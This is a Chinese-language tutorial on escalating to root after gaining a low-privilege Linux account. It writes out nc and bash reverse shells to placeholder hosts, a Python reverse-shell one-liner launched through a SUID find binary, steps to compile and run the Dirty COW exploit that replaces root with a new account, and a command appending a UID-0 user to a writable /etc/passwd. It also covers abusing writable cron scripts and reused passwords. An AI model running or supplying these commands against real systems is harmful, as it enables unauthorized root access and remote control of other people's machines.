Linux系统提权

当拿到了一台Linux服务器的低权限账号后,要通过技术手段提权至 root 用户权限,以执行更多的操作。首先关于Linux提权我们得先明白几个概念。

linux内核知识

Linux内核版本号由3组数字组成:第一个组数字:内核主版本。 第二个组数字:偶数表示稳定版本;奇数表示开发中版本。第三个组数字:错误修补的次数。 3.10.0就是内核版本号。3就是内核主版本,10表示是稳定版,0表示错误修补次数是0。

#使用以下命令也可以看到系统内核及版本的一些信息:
uname -a                 #查看内核的具体信息
cat /proc/version        #查看内核的具体信息
cat /etc/centos-release  #查看centos发行版本
cat /etc/redhat-release  #查看redhat发行版本

Linux提权方法总结

Linux提权的前提:

  1. 拿到了一个低权限的账号
  2. 能上传和下载文件
  3. 机器上有python、java、perl等环境(非必须项)

一、Linux反弹提权

**如果手里只有webshell可以利用反弹shell来得到一个shell,反弹的权限是中间件的权限。 **

1、NC反弹shell

NC详情参考:***.com

①nc参数介绍

-l      指定nc将处于侦听模式,nc被当作server,侦听并接受连接。
-p      <port>指定端口,老版本才需要-p
-s      指定发送数据的源IP地址,适用于多网卡机
-u      指定nc使用UDP协议,默认为TCP
-v      输出交互或出错信息,新手调试时尤为有用
-w      超时秒数,后面跟数字
-z      表示zero,表示扫描时不发送任何数据

②nc做tcp监听

# 开启本地8080端口监听
nc nc -l -p 80802

③nc反弹服务器shell

方法⑴:公网主机绑定SHELL

#在公网监听端口5555端口,并绑定shell
nc -lp 5555 -t -e cmd.exe
#在内网主动建立到外网IP:5555的连接
nc -nvv x.x.x.x 5555

方法⑵:内网主机绑定SHELL

#在公网监听端口
nc -lp 5555
#在内网机器绑定shell反弹
nc -t -e cmd x.x.x.x 5555

2、利用bash直接反弹

(1) bash反弹一句话

#先公网监听
nc -l -p 8080
#在内网bash反弹
bash -i >& /dev/tcp/x.x.x.x/8080 0>&1

网上还有很多方法一句话反弹shell,需要自行搜索

二、内核漏洞提权——脏牛

  1. 脏牛漏洞: 又叫Dirty COW,存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞。Linux kernel团队在2016年10月18日已经对此进行了修复。
  2. 漏洞范围: Linux内核 >= 2.6.22(2007年发行,到2016年10月18日才修复)
  3. 简要分析: 该漏洞具体为,Linux内核的内存子系统在处理写入复制(copy-on-write, COW)时产生了竞争条件(race condition)。 竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。 恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。
  4. exp: ***.com

示例:脏牛内核提权

  1. 首先确定发行版、内核版
cat /etc/issue
cat /etc/*-release
uname -a
  1. 根据内核版本,找exp,下载对应dirty.c文件编译
gcc -pthread dirty.c -o dirty -lcrypt
  1. 执行当前编译的dirty.c文件,然后输入新密码123456
./dirty
#执行后,会将原来的passwd文件备份到/tmp目录
#然后创建的新账号是firefart,密码123456
  1. 等创建成功后,切换到firefart用户 会发现此用户会发现已经是root权限了。 最好立刻再新建一个管理员账号,然后立刻恢复passwd文件。 因为这个提权不是新建了一个账号,而已用新账号替换了root账号,所以要把root账号恢复回去

三、SUID提权

SUID(设置用户ID)是赋予文件的一种特殊权限,拥有改权限的程序,任何用户执行的时候都是改命令都是以root权限执行的

suid提权是指这类有S权限的程序,如果能执行命令,那么我们就能从用改程序从普通用户提升到了root权限

SUID可用命令

⑴在本地查找符合条件的文件,有以下三个命令

#尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

⑵已知的可用来提权的linux可行性的文件列表如下:

nmap
vim
find
bash
more
less
nano
cp

示例:利用find文件提权

假如我们现在拿到了一个网站服务器的shell,但是权限是ubuntu,我们现在需要提权到 root 用户权限。

  1. 查看具有root用户权限的SUID文件 sh find / -perm -u=s -type f 2>/dev/null
  2. 发现有find命令,再确认一下 sh ls -lh /usr/bin/find #权限是rwsr-xr-x 确实有s权限
  3. 测试是否能用find命令以root权限运行 sh /usr/bin/find examples.desktop -exec whoami \; #发现确实可以以root权限运行
  4. 然后查看目标网站上是否的python环境 linux服务器一般都自带python,区别是有些2.X,有些3.x
  5. 于是我们以root用户的身份利用python反弹shell, python #反弹一个sh类型的shell python -c 'import socket,subprocess,os; \ s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); \ s.connect(("192.168.10.25",4444)); \ os.dup2(s.fileno(),0); \ os.dup2(s.fileno(),1); \ os.dup2(s.fileno(),2); \ p=subprocess.call(["/bin/sh","-i"]);'
  6. 远端nc监听nc -lvp 4444 可以看到,在攻击端收到了反弹过来的shell,并且是root身份

    本节来自:***.com

四、Linux配置错误提权

利用Linux的配置文件错误,导致 /etc/passwd 文件可写入提权

对Linux配置进行检查的脚本有: ***.com ***.com

当我们获得了某个Linux服务器的低权限之后,我们想要对该低权限账号进行提权,以执行更多的操作。 接下来我们的提权是利用 /etc/passwd 文件的可写入权限,导致我们写入一个其他用户进去。

  1. 查看 /etc/passwd 的权限,发现任何用户都可以读写。 我们现在要做的就是自己构造一个用户,在密码占位符处指定密码,并且UID设置为0,将其添加到 /etc/passwd 文件中。
  2. 首先,使用perl语言生成带有盐值的密码: sh perl -le 'print crypt("password@123","addedsalt")'
  3. 然后将test用户的信息加入 /etc/passwd 文件 sh echo "test:advwtv/9yU5yQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd

  4. 以test/password@123登录主机 登录成功后,是 root 权限。

五、定时任务提权

系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。 非root权限的用户是不可以列出root 用户的计划任务的。但是系统的计划任务/etc、cron*可以被列出。 默认这些程序以root权限执行,如果有幸遇到一个把其中脚本配置成任意用户可写,我们就可以修改脚本进行提权了。

  1. 列出系统定时任务 sh ls -l /etc/cron*

  2. 查看列出的目录中,是否允许普通用户修改 /etc/cron.daily 、/etc/cron.hourly、/etc/cron.monthly、/etc/cron.weekly 这四个文件夹内的文件,查看是否允许其他用户修改。 如果允许任意用户修改,那么我们就可以往这些文件里面写入反弹shell的脚本提权了。

六、密码复用提权

我们如果在主机上找到了其他应用或数据库的密码,那么很有可能root用户也用该密码,或者该参考该密码命名规则。那么就可以尝试一下 su root 来提权了。